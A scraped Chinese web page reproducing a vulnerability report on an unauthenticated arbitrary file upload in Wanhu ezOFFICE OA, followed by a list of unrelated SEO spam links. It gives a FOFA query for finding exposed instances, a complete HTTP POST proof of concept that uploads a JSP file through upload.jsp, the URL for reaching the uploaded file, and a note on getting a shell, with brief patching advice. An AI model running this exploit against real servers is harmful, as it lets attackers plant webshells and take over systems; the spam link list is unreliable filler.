当前位置: 首页 > news >正文

重庆网站推广专家脑白金网络营销

重庆网站推广专家,脑白金网络营销,企业信用不良记录查询,安徽国贸网站建设0x01 产品简介 万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息…

0x01 产品简介

   万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。

0x02 漏洞概述

 万户ezOFFICE协同管理平台upload接口处存在任意文件上传漏洞,未经身份认证的攻击者可以通过此漏洞上传恶意后门文件,造成代码执行或服务器失陷。

0x03 复现环境

FOFA:app="万户ezOFFICE协同管理平台"

0x04 漏洞复现 

PoC

POST /defaultroot/platform/portal/layout/common/upload.jsp?portletSettingId=123&path=abc HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=b0d829daa06c13d6b3e16b0ad21d1eed--b0d829daa06c13d6b3e16b0ad21d1eed
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: application/octet-stream<%out.print("test");%>
--b0d829daa06c13d6b3e16b0ad21d1eed--

验证url

http://your-ip/defaultroot/upload/abc(path参数的值)/202311(现年月)/(返回的文件名).jsp

GetShell 

尝试连接 

0x05 修复建议

关闭互联网暴露面或接口处设置访问权限

打补丁或升级安全版本

http://www.ritt.cn/news/18448.html

相关文章:

  • 市政府网站集约化建设域名批量查询
  • 做b2b2c模板网站平台网站开发公司
  • 那些网站可以找得到做货代的seo整站优化什么价格
  • 响应式网站制作流程图google官方下载
  • 微信怎么做网站外链seo招聘
  • 可以做动画的网站都有哪些软件手机网站关键词seo
  • 做外贸的数据网站有哪些西安网络推广优化培训
  • 昌做网站科技公司网站制作公司
  • 南宁市企业网站建设互联网广告管理暂行办法
  • 设计制作一个 个人主页网站企业网络营销推广方案策划范文
  • 北京住房和建设城乡委员会网站百度知道网页版
  • 万网域名怎么绑定网站国色天香站长工具
  • 网架生产厂家灯塔网站seo
  • 武汉科技职业学院招生代码seo教程技术优化搜索引擎
  • 做宣传单的网站百度旗下有哪些app
  • 企业商城网站建设开发seo的方式有哪些
  • 建设本地网站关键词竞价排名
  • 基础建设期刊在哪个网站可以查百度指数网址是多少
  • 潍坊网站建设价格百度搜索引擎优化的推广计划
  • 网站建设公司的网销好做吗百度推广有用吗
  • ie打不开建设企业网站企业文化的重要性和意义
  • 邮件服务器是不是网站服务器推广普通话内容
  • 门户网站建设招标网站模板购买
  • 上街做网站谷歌浏览器2021最新版
  • 网站做权重的方法广州seo外包
  • 可以通过哪些网站注册域名常州seo招聘
  • 阿里云ecs服务器怎么建设网站视频营销模式有哪些
  • 重庆网站维护制作百度网盘客服电话人工服务
  • 乌鲁木齐网站制作网络游戏推广公司
  • 网站开发技术助理要求seo排名优化教学